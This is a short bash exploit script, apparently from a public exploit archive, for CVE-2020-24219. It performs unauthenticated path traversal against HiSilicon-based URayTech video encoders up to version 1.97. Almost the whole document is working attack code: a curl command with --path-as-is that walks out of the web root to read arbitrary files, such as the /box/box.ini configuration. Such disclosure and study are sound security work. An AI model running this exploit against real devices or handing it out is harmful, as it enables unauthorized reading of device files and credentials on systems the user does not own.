HiSilicon Video Encoders - Unauthenticated file disclosure via path traversal

#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - unauthenticated file disclosure via path traversal
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: https://www.szuray.com/
# Software Link: N/A
# Version: up to 1.97
# Tested on: Linux
# CVE: CVE-2020-24219
# Vendors: URayTech
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
  echo "Usage:   $0 <server>[:<port>] <filepath>"
  echo "Example: $0 1.2.3.4:8086 /box/box.ini"
  exit 1
fi

curl -s --path-as-is "http://$1/../../sys/devices/media/13070000.jpgd/../../../..$2" \
  || echo "ERROR: curl returned $?"